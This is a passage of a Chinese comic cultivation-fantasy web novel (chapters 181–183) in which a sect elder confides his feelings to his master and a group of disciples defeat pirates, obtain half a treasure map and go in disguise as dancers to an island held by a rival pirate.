“大师兄,关于我们这些天药阁里培育出新的药草……”宋鸠在旁边汇报着,可说着说着,他居然罕见地发现顾延清走神了,这个发现不亚于苏岭月穿着粉红裙子在他们面前表演落花舞。 虽然苏岭月没有穿过也没有跳过。 这只是个比喻,因为秦兰时曾经也用这个比喻,而顾延清的走神又莫名罕见,这就导致宋鸠心里头蹦出了那么个骇人听闻的比喻。 “…大师兄?是最近太累了吗?”宋鸠试探性地问了一句。 顾延清似是回过神来,对他摇了摇头,“并不是,只是在想些事情而已,你继续说吧,培育出什么新药草。” 哦,原来有听到啊。 宋鸠连忙点了点头,继续往下说去,说这个药草是最近培育出来的,可以替代较为珍贵的凝神草,可以达到清心净体的效果。 “不过功能没那么好,但是也算够用了。”说完,宋鸠就把那份卷轴递过去,等待着顾延清的回应。 “嗯,这么一来可以先生产一批。”顾延清微微点头,“然后投入丹药研制中,看看情况。” “好的。”宋鸠点了点头,这事情他早就吩咐下去准备好了,毕竟这事他有把握顾延清会同意。 公事谈完了,接下来就是私事了。 “大师兄,你方才在走神?”宋鸠有些好奇地看了看顾延清几眼,他找好椅子坐下,拿出一壶茶,细细倒起了茶水来,茶杯与茶壶一起悬浮在空中,好不自在。 “嗯。”顾延清倒也没否认他刚才的一心二用。 “是关于秦师兄那边的事情吗?放心好了,秦师兄虽然人看着不着调,但是做起事来还是很让人放心的,不然师父也不会想着让他接替你的位置了,好让你舒舒服服当宗主。” “当宗主可不轻松。”顾延清纠正了一下宋鸠的话。 “反正大师兄你现在已经是内定的宗主了,干的活也都是宗主活,只不过你还要把剑主的活也给干了……果然还是让秦师兄快点回来接替比较好吧?”宋鸠觉得要不是顾延清,谁干得下去啊。 “其实兰时也不是没有帮忙过,所以他应当也有那方面的想法……”顾延清想了想,叹了口气,“不过他现在还想多玩一会吧,这次等他回来,估计师父会找他细谈的。” “太好了,秦师兄终于也要干活了!!”宋鸠闻言满脸喜色,天知道之前秦兰时特别闲的时候就经常晃悠在他面前,显摆自己有多悠闲有多快乐,他都快被气死了。 “阿鸠还有事情吗?” “嗯……嗯……好像没了。”宋鸠忘记了自己一开始的话题是啥了,于是他笑了笑站起身,准备回自己的药阁忙活去了。 顾延清见人离开了,就松了口气,他继续低下头,批阅着卷轴,今天看得差不多了,有剩下不少时间,过会就去院子里头练剑吧。 月下,剑身掠过落下的梨花,剑气涌动,白色的梨花散入空中,像极了一场独属于春日的雪,待这一剑平息后,花瓣轻落于笔直的剑上,而其剑的主人也收起了力。 “师父。”顾延清转身对某处拱手一礼。 “不必多礼。”苏岭月自树下走来,也不知他看了多久,“延清今日可是心中有惑?” “…果然瞒不了师父。”顾延清微微低下头,不管他在外边有多风光,天青剑尊的名号有多厉害,可在苏岭月眼里,他还是那个需要细心引导的少年。 为师者,当为弟子解惑。 “延清心中是有何担忧?”苏岭月继续问着,他略微一摆手,一把剑就那么出现在他的手里,这剑通体全白,身上散发着冰冷的气息。 “师父……”顾延清似在犹豫。 “不必多言,用你的剑来回答。”苏岭月没有多说什么,而是提剑袭来,顾延清见此便举剑格挡住,刹那间,花瓣纷飞,似飞雪入境。 这一招一式仿佛进行了上万遍,每一招都恰好地被对方化解,最后,剑停,苏岭月的剑停于顾延清的身前,几撮雪色发丝轻轻落下。 “你是我引以为傲的弟子,虽为师不知你心存何等顾虑,但若是止步不前,是不会有任何变化的。”苏岭月收起了剑,轻抬眼,他的手上出现了一壶酒,笑着对顾延清道,“这是兰时那小子藏起来的酒。” “……师父,这不好吧?”顾延清闻言微微一愣,顿觉良心不安。 “哼,当初他偷我法器的时候怎么不说不好,我们别管这个没什么良心的小子了,延清啊,陪为师喝上一杯如何?” “…是。”虽然,但是,如果不是师父放水,兰时是根本不可能偷成功的吧? 俩人就那么在梨花树下将酒开了封,浓郁的酒香飘于空中,苏岭月略有些陶醉地嗅了一口,“哦呵,还挺香,也不知道这小子放了多久。” “………”顾延清默默给师父递上了酒杯,一杯酒下肚,发现这居然是烈酒,幸好顾延清的酒量不算差,倒也能受得住。 “现在还不愿意说吗?”苏岭月侧头看了顾延清一眼,笑着将酒饮下,偶有闲情喂些酒给靠着的梨花树。 “也不是不愿意……只是……”顾延清又喝了一杯,他从不是贪杯之人,但许是喝了酒,那些难以启齿的话语更能说出口了,“我不知该如何说……这种事情我从未体验过。” 陌生的情感让顾延清很是不知所措,他不知该如何去应对,也不知该怎么述说出来,心里头堵得慌。 “……这样啊,延清啊,为师曾经有过喜欢的姑娘。”苏岭月听着听着,他对此也有些意外,不过他还是乐于为其解惑,于是他开始回忆往昔。 “…嗯?”顾延清愣了一下,这还是他第一次听说。 “那是在我还是十几岁的时候,你们没有听说过正常啦。”苏岭月摇晃了一下手里的酒杯,梨花雪轻轻落入杯中,打碎着酒杯里的明月,“她的容貌为师其实早已记不清了,因为太久了,而且……” 说着,苏岭月难免有些感伤,“为师当初虽然喜欢,但是压根不敢说,只能默默陪在她身边,最后,我看着她嫁人了。” 顾延清:…啊这。 “那天十里红妆,可谓是大气得很,我就那么看着,我当天还喝了点酒,于是我直接冲到新娘子的轿子前,大声对她说我心悦你。” 顾延清:? 那么生猛吗? 结合苏岭月那张优雅无比的脸,实在是想不出还有这种过往。 “你知道那个姑娘说什么吗?” “…说什么?”顾延清难免有些好奇。 “她说……” “公子的喜爱,本姑娘听到了。”姑娘的姿态仿佛理所当然,轿子里头传来了她的铃铛般的笑声,“那么,就多谢公子的厚爱了。” “……就这样?”顾延清等待着后边的故事,但是苏岭月迟迟没有说出后半部分。 “对,就这样。”苏岭月点了点头,他念起往事,也不由得笑出声,“总之,我当初说出来的时候,畅快多了,而且年少时候的心意也传达给了对方。” “延清,为师想要告诉你,如果什么都不做的话,就什么也不会改变,但是如果要下定决心做,就要做好它。”苏岭月说着说着,虽然白月光的影子不太清晰,但是他难免有些悔意,“可恶……当初她说最喜欢的就是我这张脸了,要是我早点出手就好了。” 顾延清见苏岭月又痛饮三大杯,根本来不及去制止,酒喝完后,苏岭月也不逗留,他也不问顾延清到底是因为谁在烦恼。 ……其实也不是不问,是因为苏岭月决定要给顾延清一点时间。 总之,苏岭月走后,这里就剩下了顾延清一人,酒喝了差不多,梨花雪不知什么时候撒满了他的全身,他抬手去接,冰冰凉凉的。 风吹动着梨花雪,在这场风雪里,顾延清仿佛看到有人在朝他走来,那人穿着和往常一样的玄色长袍,挂着他一贯的温柔笑意。 顾延清眼看着这个人在他面前蹲下来,为他拂去身上的雪,许是有点醉了吧,顾延清这样想着,就抬起手抚上那人的脸。 他往前俯身而去,凑近了那朝他而来漫漫风雪。 天亮,苏岭月看着在树下睡着的顾延清,有些意外地挑了挑眉,没想到他离开后顾延清也没有回去,而是就那么在树下睡了一晚。 “……所以,延清喜欢的人是谁?”苏岭月那么说着,可惜睡着的人回答不了他。 此时此刻,顾延清正做了一个梦,这个梦里,谢璟在他身边,笑着将他头上的雪取下,牵着手,一起漫步在长长雪色里。 第181章 宝藏 海盗,一群掠夺海上灵舟财宝的强盗。 他们,将手里的美酒饮下,将嘹亮的歌喉尽情绽放,挥舞着那象征他们的旗帜,嬉笑着,呐喊着,义无反顾地奔赴着那场没有目的的冒险。 在这神秘又迷人的大海埋藏着意想不到的财富,哪里有宝藏,哪里就有海盗,他们是一群被财富迷了眼的狂徒。 那美丽的金色就像海上的太阳,嘿,财迷们,嘿,海盗们,嘿,冒险者们,为何不去追逐太阳啊! 要问我们为什么要去追逐? 因为,它就在那里。 …… “啊啊啊啊啊啊!!!!”一个顽强的海盗男人悲壮地流下了眼泪,他跪在地上,抱着一个已经晕过去的兄弟,号啕大哭,“兄弟!!你不要有事啊兄弟!!” 兄弟非常有事,但是兄弟已经回答不了了。 与此同时,船上的情况复杂多样,为首的青衣男子此时此刻正温和地扶起一个已经被打倒在地上的海盗,笑容灿烂地询问着:“你们……的保险…啊不,你们的钱放哪里了?” “我……我不知道……”海盗已经在瑟瑟发抖,他已经在怀疑他们是不是抢到了同行了。 “说说嘛,你们肯定有不少积蓄吧?”唐山玉友好地拍了拍他的肩膀,笑容逐渐温和。 “……”救命啊!! “老大!!老大!!”打不过的海盗正一边嚎叫一边往船内部跑去,与此同时一道剑气直直斩在了他脚边的地板上,留下了深深的划痕。 谢璟站在他的后边,挥了挥手上的剑,冷冷地道,“跑吧,我让你十步。” 这话简直是欺人太甚,海盗也是有骨气的,他顿时怒了,然后发疯地朝谢璟这里冲来,谢璟举着剑准备砍过去,下一秒,谢璟低下头,看着趴地上阴暗爬行的海盗。 “哥,求你了,我们只是想抢个劫而已。”这只爬行海盗欲哭无泪地道。 “……不要把抢劫说得那么轻描淡写。”谢璟沉默了一下,再次举起剑,眼看就要砍下去的时候,那海盗两眼翻白,就那么活生生晕过去。 另一头,石泽竹正在嘿哈嘿哈地一拳一个海盗,一脚一个海盗,他感觉到自己得到了极好的锻炼,挥洒而出的汗水更显得晶莹剔透了。 “天气真好啊。”石泽竹一把抹去额头上的汗,眼睛亮亮的,结实的肌肉在他的身上体现出完美的形状,拳头也越握越紧,“果然 ,这才是修行。” 倒在地上的海盗一动不动的,像极了要晒的咸鱼。 “你们来得太是时候了~作为报答,我就温柔点吧~”慕轻轻挥舞着鞭子四处乱打,每一击都恰好打在了位置上,更有甚者露出了古怪的痴迷笑容。 而这个人倒在地上的时候,恰好被慕轻轻踩了一脚,这让他整个人忍不住兴奋地抖了起来。 慕轻轻很疑惑,不过她还是一脚把人踩晕了。 胡长乐拿着伞在乱战里头奔波着,她这边躲过一个飞出来,那边躲开一个滚出来的,她决定挑个好地方摸鱼,最好是视野开阔又安全的地点。 “呜哇!大家打得好猛啊!!”胡长乐用伞挡住了一个飞过来的海盗,就急匆匆地想要往船的内部里赶过去,“还是往里面躲吧。” 就在胡长乐打开门的时候,她就撞在了一堵结实的墙壁上,不,不对,不是墙壁。 胡长乐缓缓抬头,然后发出了尖叫,“天啊!!是双开冰箱门!!!” 什么冰箱什么门? 除了唐山玉外,其他人都没有听懂,总之,在他们看过去的时候,他们看到了一个戴着单边黑色眼罩的胖子挤在了大门那头。 那胖子发现自己这样出不去,于是选择侧个身,然后勉勉强强地挤出了这里,那圆滚滚的肚子一晃一晃的,显得特别有活力。 “你们是什么人?怎么会在我的船上?”那许是海盗头子的人皱起眉头,拿出他的大锤子重重……轻轻地砸在地板上,地板无事。 “老大!!他们是对面船过来的!!!”还能说话的海盗小弟开始大哭起来了。 “对面?哦,想起来了。”这海盗头子又拨了几下锤子,看了一眼这片狼藉,一副想要打商量的模样看向那几人,“这样吧,各位可否放我们一马,就当没见过怎么样?” “你这人说话倒是有意思,要是我们打不过,那你还愿意放我们一马吗?”慕轻轻率先开口,笑嘻嘻地将那鞭子握在手里晃了晃,少女轻蔑地歪了歪头,“如果我们说不呢?” “这事说简单倒也简单,说难也难。”海盗头子摇了摇头,挪动着他那庞大的身躯一点一点地往这边过来,“只是这后果,你们可就要自个儿担着了。” 唐山玉见此也就放下手里的海盗走了过来,站在慕轻轻的身边,谢璟,石泽竹,还有胡长乐也是如此,不过胡长乐应该是跑回来的。 “是吗?听上去倒是有点意思。”仗着背后有龙的慕轻轻继续输出,毕竟这里可是她龙族的地盘。 “呵……小姑娘口气倒是不小……”海盗头子冷笑了一声,随后他……一个滑铲过来,非常郑重地将一张地图递到了他们的面前,语气阴冷无比,“我把宝藏地图给你们,你们就这样放过我们吧。” 能把求饶说出威胁感,这海盗头子也是个人才。 “宝藏……”胡长乐听到这个话,就在旁边兴奋了起来,她探了个头过来,眼睛亮亮地盯着那个宝藏地图。 “地图!”石泽竹显然那种冒险寻宝话本子没有少看,他也爆发出了强烈的好奇心。 “…按照规矩,把宝藏上交给龙族吧。”慕轻轻在俩人兴奋的时候泼了一下冷水,随后在那俩人露出失落的表情后,才笑哈哈地补充道,“我开玩笑的,没有这个规矩啦~” 而唐山玉已经率先伸出手去拿起那张寻宝图,还没打开看就被海盗头子一把按住了手,“……我总要看看是不是真的吧?” 谢璟见此将剑缓缓横在了海盗头子的脖子上,其中的意味非常明显。 “…不是,我想说的是,这地图因为年代久远,容易损坏,你们手脚最好干净点。”海盗头子冷着一张脸,就那么松开了手。 “行。”唐山玉闻言点了点头,就小心翼翼地展开了地图,才看了几眼,他就将地图重新合起来,“确实是宝藏地图无疑。” “可是,为什么只有一半?剩下一半在哪里?” 谢璟闻言剑上的力度也加大了不少,一道血痕就那么出现在海盗头子那肥胖的脖子上。 “我们当初为了抢夺这份地图的时候可是付出了不少心血。”海盗头子抖了抖肥胖的脸,露出了怀念的神情。 “头,这地图我们不是捡到的吗?”旁边趴着的小弟开始傻愣地暴露老大的计划。 “闭嘴!!”海盗头子转过头来一怒之下,怒了一下,最后什么也没干,“咳咳咳,好吧,是我们看着有人抢这个地图抢得头破血流,那脆弱的地图经不起他们这般折腾,被我就这样捡了去。” “原来是捡漏的。”唐山玉点点头,觉得这样倒也合理,“只是,就一半地图你们就想要我们放过你,是不是太简单了?” “我知道另一半地图在哪里?” “哦?在哪里?” “在有海王之称的大海盗庄子枭手里。” …… 谢璟:……? 总觉得这个名字有点眼熟。 “海王……”唐山玉觉得这个称呼肯定不是他想的那个意思,但是在实在是不可避免就想到了,“啊,是海上帝王的意思吗?” “那这样说,海王应该是龙族吧?他一个人类凭什么啊?”慕轻轻开始对有人凌驾于龙族之上表达不满。 “呃,不是不是,那个意思是……”海盗头子努力想词汇去解释,最后,他想到了组织好的语言,“是海上钓鱼大王的意思。” 唐山玉:? “他凭借高超的钓鱼技术,征服了各个海域的鱼类而得名的。” “…他是海盗吧?” “对啊,这次他也是听说这个地图的目的地是海下岩浆才出手的,因为……”海盗头子露出了欲言又止的表情,毕竟这个信息算是小道消息,他也不确定,“听说,他觉得钓岩浆下生活的鱼非常有挑战性?” 唐山玉:…… “……或许,他也喜欢钓鲛人吗?”谢璟沉默了一下,问道。 “哎?这个,我倒是不知道哎……” “好了,孩子们!!问话完了吧?”秦兰时趴着栏杆上笑嘻嘻地看着他们,他朝着看过来的人挥了挥手,“就算干活也不要忘记吃饭啊~” “师父,我们要去寻宝。”唐山玉先发制人地说出自己接下来的行程。 “但是饭……”秦兰时闻言愣了一下。 “他们说想吃。”唐山玉果断地指了指这群海盗们,随后他转过头去,温和地笑看着他们,“对吧?” “…对对对,我们超级想吃的!!!” 秦兰时:…… 行吧,就不逗小孩们玩了。 “这样啊……这让人怪不好意思的~”秦兰时不好意思地笑了笑,他转过头来看着这群海盗,“那,希望你们能够吃得愉快~” 不知为何,一种莫名的寒意蔓延在海盗们的心头。 …… “美人…美人~”一位浑身挂满着闪耀珠宝的男人正在冲某处招呼着,金色的弯刀挂在他的宝石腰带上,而他那只五根手指都戴着华丽宝石戒指的手正摇晃着金酒杯。 “来嘛,给我倒杯酒如何?”男人的肌肤是健康的小麦色,俏皮的卷发搭在肩膀上,深邃的棕色瞳孔正注视着某个人。 “不要冷着脸呀~真的是,不过嘛,就算小景景冷着脸也是那么美艳动人呢~”男人还在笑嘻嘻地叫唤着,全然不顾那位冷脸美人身上袭来的杀意。 而被唤做小景景的,是站在不远处的穿着舞娘服的谢璟,他此时此刻冷着脸,手上拿着金色的酒壶,在这个男人喊他的时候,眼里的杀意就更加明显。 为什么……为什么会变成现在这样…… 杀……想杀人…… 谢璟僵硬的身子动了一下,又动了一下,最后停留在距离男人的不远处,伸长着手臂,给男人倒酒。 “庄子枭,今天你那么高兴啊。”坐在一旁的大叔正乐呵呵地抱住一位舞娘的腰身,随后低头笑嘻嘻地讨要舞娘嘴里的葡萄吃。 “嗯?嗯~”庄子枭一脸兴奋地指了指自己的左侧脸,上面有人揍过的痕迹,“今天实在是太美妙了~我时常回味着那个瞬间,美人的拳头实在是深得我心呀~” 谢璟:…… 与此同时,外边的众人正一脸黑色的蹲在帐篷里头,他们身上都穿着当地特色的衣服,除了石泽竹和任海俩人外,其他人都穿着舞娘的衣服,甚至手边还有不少乐器乱糟糟地摆放着。 “……我的错,我不应该让谢璟穿这衣服的。”唐山玉开始自责了起来。 “…山玉,这,这也不怪你,我们也没有想到这个家伙居然……”秦兰时听到这话,连忙转头安慰道,“居然……” 突然就说不下去了。 “果然,他私底下是有什么爱好吧。”慕轻轻觉得这种事情在龙族里头也不是没有过,只不过她还是第一次见到爱好那么明显的。 “……可能,这就是征服欲?”胡长乐认真想了想谢璟那张冷若冰霜的脸,觉得好像也不是不能理解。 “…谢璟不会有事吧?”石泽竹非常担忧地低下头,“要不是我,要不是我谢璟也不会……” “这不怪你。”任海拍了拍石泽竹的肩膀,他想了想继续道,“比起这个,我们的计划还继续吗?” …… 众人沉默。 “再,再看看吧?希望谢璟没事。”唐山玉语气非常不确定,他头一次感觉到良心深受折磨,“完了,我怎么和他师父交代啊。” 此时此刻,称呼之间已经不重要了,真名假名什么的,早就因为叫惯暴露了,后边任海也就跟着这样叫了。 “……我去和他说一声吧。”秦兰时听到这话,突然就心头一跳,完了,这是他心里的一声懊恼,怎么办啊,这是他心里第二声悲伤,没办法了,这是他心里第三声无奈。 此时此刻,远在随清宗的顾延清提起笔的时候,发现水墨不小心滴落在雪白的纸张上,缓缓晕开。 “…总觉得,有点不太对劲。” 第182章 宝藏的存在 这事情要起源于,他们发现那个大海盗庄子枭拥有一个岛屿开始,当他们发现后,就开始怀疑起自己的耳朵来。 “…什么,一个海盗居然有一座岛屿?”率先提出疑问的是慕轻轻,毕竟这岛在他们龙族的海域里头。 “没错,而且这好像是你们龙族允许的,或许他给得太多了?”唐山玉不确定,但是这座岛屿上的确写着庄子枭的名字,而且,岛屿的地点也有了,如果是假的,那这种信息也太容易被揭穿了吧。 “…等我回去后再问问吧。”慕轻轻沉默了一下,摇了摇头。 “不可以现在寄传音符回去吗?”石泽竹虽然傻乎乎的,但是他偶尔还是很聪明的。 “……嗯,不了。”慕轻轻似是想起了什么,缓缓摇头,随后冲大伙们眨了眨眼,“反正他们知道我要回来了,但是不知道我什么时候回来,就当给他们一个惊喜好了~” “好吧,总之,我们为了另一半宝藏地图准备对这个大海盗实施计划,现在是准备计划的阶段,各位可以畅所欲言。”唐山玉站了起来,不知道从哪里拿来了个大板子,开始当做黑板写起了字,只见宝藏计划四个大字就那么出现在板子上。 “计划吗?如果想要获取宝藏地图的话,我们光明正大和对方谈判如何?”胡长乐想了想,然后觉得正面谈判或许也不失为一种好方法。 “…这的确是个方法,但是如果对方狮子大开口的话,我们拿不出钱可能就会被赶出去,到那个时候我们的目的也暴露了,或许接下来的行动就更艰难了。”唐山玉写上了谈判二字,但是他觉得他们应该没那么有钱。 “对啊,而且我们也没什么钱……”胡长乐想起这事情,就失落地低下头,可恶,她还以为可以看到唐哥舌战群贼的场面呢。 “那,那,我们直接过去和他们打一架,谁赢就获得地图怎么样,我们可以用我们那半张地图作为赌注。”石泽竹也努力地动起了脑子,这让他想起偶尔会有不少弟子在比武的时候私下设些赌局的事情。 “没想到泽竹还能想到这个方法。”唐山玉听到这话拍了拍手,笑容也柔和了不少,“不过,对方毕竟不是什么正规派别,他们可是海盗,并没有名声这种说法,说直接点,就算他们输了不认也是有可能的。” “这,这样啊。”石泽竹也跟着失落地地低下头,“说的也是,而且那边是他们的地盘,对我们来讲不占优势。” “要不,我们干脆用美人计?”慕轻轻认真想了想,突然嘿嘿一笑提议道,她扫过在场其他人的容貌,流露出了好色龙族些许本性,“毕竟听说那个庄子枭除了钓鱼外,有个爱好是收集美人呢?” “谁当美人?”唐山玉闻言愣了一下,随后不认同地摇头道,“不行,你们修为打不过他,万一真的出事了怎么办?” “行吧……”慕轻轻也只能摆了摆手,突然她想起什么看了秦兰时和任海一眼,“对了,这美人也不一定是我们假扮啊……” 秦兰时缓缓抱住了自己,任海则是一副坚定不移的模样。 任海说,“我可以。” 区区美人计,俺能做!! 闻言,众人缓缓看了一下他的身形,觉得那位庄子枭或许无福消受这样的美人,那么剩下的就只有…… 秦兰时一脸委屈地转头看向唐山玉,然后他就看到唐山玉在板子那写上了美人计三个字,最后,在秦兰时幽怨的目光下补充了备用这两个字。 “谢璟,你有什么想法吗?”唐山玉看了一圈下来,转头去问比较有脑子一点的谢璟,作为主角,他的建议应该是很有用…… “很简单,我们不去寻宝不就行了。”谢璟一脸认真地回答了这个问题,他还在擦拭着爱剑,“只要不寻宝,就不用进行计划,然后就不会有这样的烦恼了。” 唐山玉:…… 此话确有道理。 甚至直接把他本次发言的主题给直接删掉了。 “如果担忧宝藏地图的话,我们找个地方高价卖出去给他们,这样一来我们也有不少资金了。”谢璟还在说着,颇有几分要将众人计划消灭殆尽的趋势。 “啊…不去吗?”石泽竹抠了抠手指,有些不舍地道,“我还挺想看看传说中的宝藏是什么呢。” “出海不就是为了历练嘛!历练就需要冒险呀!更何况这宝藏地图对我们来说不是一场机缘吗?真的要拱手让人吗!!”胡长乐也莫名激动地爬过来,双手握拳,可怜兮兮地看着谢璟,“…谢哥,我们真的真的不去寻宝吗?” “……我们又不知道这个宝贝到底是什么?”谢璟带着剑缓缓往后移动几步,“万一去到那里,什么也没有怎么办?岂不是白走一趟?” “哈哈,因为这个藏宝图在许多海盗里头流传很广,有人说,这个藏宝图的尽头什么也没有,只有一片滚烫的岩浆,有人说,这个藏宝图的尽头是可以吞噬掉来者的凶兽,是它故意引诱寻宝者前往好饱餐一顿。”任海笑了笑就和他们说起了这个藏宝图的事情来。 “也有人说,藏宝图的尽头是数不尽的财富,是人们向往的极乐世界,或者是通往另一个世界的路口,总之什么传言都有,但是也让那些海盗们更为疯狂。” “仿佛……”任海突然笑了一下,“他们只要到达了那个地方,就可以被人们化作诗歌与这份宝藏一起流传至千年万年。” “千年万年还是有些夸张了。”慕轻轻在旁边毫不留情地拆台道,“所以,这个宝藏到底是谁留下来的?” “不知道。”任海很是坚定地回答道。 “我还以为是什么有名气的人留下了的宝藏才让那么多海盗想去呢?” “因为藏宝图是最近才有传言说有的,宝藏的传说是一直流传至今的。”任海说着嘿嘿地指了指自己,“其实,我也很好奇呢,那个宝藏到底是什么。” “一群人也是吃饱了闲的,干嘛要去追求这种虚无缥缈的东西。”慕轻轻也是杠上头了,不如说,因为是任海说的,她才想要怼回去。 “光是坚信它的存在,就已经筛选掉不少人了。”任海说着掏出随身的小鱼干嚼了嚼,甚至还特别友好地递了一条给慕轻轻,“吃吗?” “……吃。”慕轻轻接过了小鱼干。 “不管怎么样,我觉得去追求不存在的东西也是一种独特的浪漫嘛。”任海见人接过他的小鱼干,就露出一口大白牙在那傻笑。 “…行吧。”慕轻轻没有再说什么,就当她被小鱼干被收买了。 而旁观的唐山玉转头看向了秦兰时,“我们好像围观了一场火热的辩论。” 秦兰时将身子靠在唐山玉的肩膀上,闻言嗯了一声,随后笑道,“的确是火热,不过他们所说的各有各的合理,山玉,你觉得呢?” “我?我吗?”唐山玉闻言一愣,随后重新看向了那边,此时此刻他们还在做着计划,已经不用他引导也能在木板下写下自己的东西。 “我对这个没怎么想过,我觉得现在就挺好的。”唐山玉说着,沉默了一下,随后补充道,“如果是以前的我,我会觉得慕轻轻的话比较对,因为,人们在还没吃饱的时候,谈这种虚无缥缈的东西太不现实。” “师父,你呢?”阳光轻轻洒下,给人添上了一层金子。 “嗯~这个嘛,我可能更喜欢追逐不切实际的东西,因为那样子会很酷啊。”秦兰时悄咪咪牵起唐山玉的手,笑道。 “不是傻,而是酷吗?也是,毕竟在坚信一个东西存在的时候,那个人一定是下定了很大的决心,不论什么情况,坚信一个东西的存在比否定一个东西的存在要困难得多。” “山玉,你真体贴~”秦兰时闻言又开心地蹭了蹭对方的肩膀。 时光是漫长的,同样也是安静的,它会悄然无息间带走着什么。 …… “所以计划和我穿这种衣服有什么关系?”谢璟抱紧自己的衣服站在角落那里,而在他的面前,是都穿上舞娘服的唐山玉和秦兰时。 “谢师兄,你不愿意和我同甘共苦了吗?”唐山玉露出了委屈的表情,这表情让谢璟浑身起鸡皮疙瘩。 “谁要和你同甘共苦!!你们俩穿不就行了吗?为什么还要我……”谢璟企图挣扎出来,但是秦兰时修为比他高,他逃不了一点。 “少废话,师父,按住他。”唐山玉将那委屈的表情一收,一脸冷漠地指了过去。 秦兰时依言照做,而谢璟的瞳孔里头倒映着拿着另一件舞娘服的唐山玉,此时此刻,这套舞娘服在他的眼前不断地放大,又放大。 “唐——山——玉!!” 天边,鸟飞,震动的灵舟,还有那碎碎的阳光。 第183章 完了 叮叮当当。 清脆的声响碰撞于舞服的碎珠间,艳红的薄丝披在肩膀上,指尖被涂抹上了玫瑰,与碎阳轻碰,青巾与红纱交织于裙角,随风而起,将这份彩光说与天空听。 金色珠帘随风晃荡,发丝肆意飘扬,那双眼眸淡淡地扫过在场的所有人,所有与之对视的人不由得心间一颤。 像是被什么野兽盯上那般让人不由得战栗,也像哪处的急急寒风掠过心头,过于无情,反倒是让人觉得此等美人只可远观,不可触碰。 “…哇……”胡长乐不禁发出一声赞叹,就一声,前面的美人就毫不留情地扭头瞪了她一眼。 此时此刻胡长乐穿着一件粉色舞裙,阳光透过银色的珠帘落些影珠于面孔上,裙摆间有白纱交融在一起,细看下,裙子间似有金光闪烁。 总之,被瞪后,胡长乐默默缩小自己的存在感,但是眼神时不时往谢璟身上瞅,毕竟她没有见过谢璟女装啊,秦兰时偶尔兴致上来了就会拉着唐山玉那么玩…… 哎,总之就是,谢璟看着不像爱玩这种的,所以他居然穿上那么一件衣服,实在是…实在是忍不住多看几眼啊。 慕轻轻也是这种感觉,所以她毫不掩饰自己落在谢璟身上的眼神,因为不趁现在多看几眼的话,以后估计很难有这种机会了。 “小长乐,不要怕啊,他现在就是被拔掉牙齿的老虎,没什么威慑力的,趁现在我们多欣赏一会,回去后可就很难再看到这般光景了~”慕轻轻一边说着,一边拉过胡长乐,开始语重心长地引导人家。 此时此刻,她穿着一身冰蓝色舞裙,银色与蓝色于她身上描绘出一片绚烂的海洋,像极了夜间明月下的银色汪洋,不过那双眸子映着的并非明月,而是现在的金色太阳。 “…再说一句试试?”谢璟传音过来,表面上依旧是那冷面美人。 “嘿,我就说我就说~有种你现在过来打我啊~~”慕轻轻的声音特别欠揍地在谢璟脑海里回荡起来,谢璟感觉自己要忍不住当街大打出手了。 “咳咳咳,好了,小景景,我们要注意言行啊,好不容易混进来,可不能闹事哦。”唐山玉走了过来,横在俩人的中间,他穿着一身金黄舞裙,衣裙上有碧绿色的宝石装饰,打碎的金光透过上衣勾勒处的珠宝映在腰间,珠子在摇晃间极有活力。 “如果我不穿这衣服,就不会有这种事情发生了?身为罪魁祸首的你应该要反省一下才是。”谢璟语气冰冷地说着,他瞪的人变成了唐山玉,并且里头的寒气更加浓郁。 “谢师侄啊,这叫体会风土人情嘛~来都来了,不穿个玩玩实在是太遗憾了。”秦兰时美滋滋地在那个摊子要了一份烤鱼,随后嬉笑地蹦过来,把那烤鱼递到了唐山玉的嘴边。 此时的秦兰时穿着极为淡雅的紫色,黑纱勾勒着他的腰身,银色的碎光击打着暗紫的衣裙,银色链子在他的动作下摇晃起来,上头的蓝色宝石在灵活地晃动,像极了跃至海面上的飞鱼。 “啊~山玉~”秦兰时满脸期待地看着唐山玉。 唐山玉犹豫了一下,因为谢璟还在,所以他看了在旁边的谢璟一眼,但是也就停顿一下,很快,他就这样凑上去,在那烤鱼上咬了一口。 谢璟:…… 够了!!! 谢璟啪地一下推开眼前的俩人,怒气冲冲地往前走去,甚至越走越快,颇有几分恨不得逃离这个世界的趋势。 “哎呀,生气了。“秦兰时摇晃着手里的烤鱼,然后也在上边咬了一口,他丝毫没有戏弄小辈的悔意。 “…嗯,烤鱼挺好吃的。”唐山玉看着走在前面的谢璟背影,咀嚼了几下嘴里的鱼肉,重新把视线放回了烤鱼身上,“香料很足哎。” “喜欢就多吃点嘛~”秦兰时闻言眼睛一亮,就把烤鱼再次凑过去,果然买对了,山玉果然喜欢吃这个。 石泽竹看着谢璟走那么快,就转头问唐山玉他们,“他好像快要走丢了……” 吃着烤鱼的唐山玉听到这话突然想笑,但是他憋住了,总之把鱼肉吞下去后他才慢悠悠地回答石泽竹方才的那般话,“谢璟要是走丢了,那离天塌也不远了,你就放心好了。” 然后,谢璟真的在人群里失踪了。 唐山玉:…… 秦兰时缓缓抬头看起了天空,天没塌,亮堂着呢。 “所以,肯定不是走丢。”唐山玉试图挽回自己的脸面,他都要怀疑谢璟是听到他的话,故意走丢打他的脸了。 对,没错,肯定是这样。 “我们真的不找一下吗?”石泽竹还是有点担忧,他带着胡长乐一起担忧地看着唐山玉。 “…那就找一下吧,毕竟这地方……是人家的地盘,虽然目前看起来很正常。”唐山玉想了想觉得还是找找比较好,虽说这岛屿也欢迎外人来玩,不过大部分都是慕名而来的海盗,极少数是路过这里落脚的,不过不管怎么样,进来都要给一笔钱。 给钱的时候,秦兰时那眼睛都要把带钱走的那个人给盯出个洞来了。 总之众人决定兵分好几路,打算在茫茫人海里寻找走丢的谢璟,而走丢的谢璟在哪里呢?走丢的谢璟是真的走丢了吗?如果不是走丢,那么谢璟为什么会被人认为是走丢了呢? 总之,谢璟的确走丢了。 而他走丢的原因也非常简单,就是自己走太快了,等转过头来他才发现他已经离开了大部队,只要他想,他现在就能远航。 “……怎么想都不是我的错。”谢璟沉默了一下,开始把错误都推到了唐山玉头上,“要不是他在我面前和自己师父恩恩爱爱,我也不会一气之下就走人。” 对,没错,都是唐山玉的错。 退一万步来讲,只要不穿这件衣服就没什么事了。 错误推完了,但是他和众人失散是事实,不过他应该没有走太远…… 这样想着谢璟就开始在周围的人群里找起熟悉的身影,如果那些人的眼神没那么火热的话……谢璟默默把肩上的披纱又拢紧一点。 正找着时,他就听到了身后似乎有在喊他,音色在嘈杂的人声里头有些模糊,但是谢璟能够辨认出这是石泽竹的声音。 哦,石泽竹啊,那还好,至少不会看到人就想打架。 